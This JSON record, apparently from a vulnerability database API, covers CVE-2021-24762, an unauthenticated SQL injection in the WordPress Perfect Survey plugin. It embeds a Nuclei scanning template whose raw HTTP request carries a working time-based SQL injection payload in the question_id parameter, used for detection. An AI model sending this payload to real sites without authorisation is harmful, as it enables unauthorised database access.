{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-24762/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-24762/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-24762/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-24762/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-24762/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-24762"},"sightings":{"href":"/api/v1/sightings/cve-2021-24762"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-24762.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-24762\n\ninfo:\n  name: WordPress Perfect Survey <1.5.2 - SQL Injection\n  author: cckuailong\n  severity: critical\n  description: |\n    Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.\n  impact: |\n    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.\n  remediation: |\n    Update to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability.\n  reference:\n    - https://www.exploit-db.com/exploits/50766\n    - https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget\n    - https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-24762\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-24762\n    cwe-id: CWE-89\n    epss-score: 0.86782\n    epss-percentile: 0.99736\n    cpe: cpe:2.3:a:getperfectsurvey:perfect_survey:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 1\n    vendor: getperfectsurvey\n    product: perfect_survey\n    framework: wordpress\n  tags: time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,edb,getperfectsurvey,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 15s\n        GET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=7'\n\n      - type: word\n        part: header\n        words:\n          - \"wp-ps-session\"\n\n      - type: status\n        status:\n          - 404\n# digest: 490a00463044022009b8b8fff5cd408dd1a95e6738e71bed9c6a2b982f6ea45884d8a9ed1613ebeb02200d10ea454427de6f478d3abdccf283acbf0103566022ffcf4c293b93c2839803:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-24762"}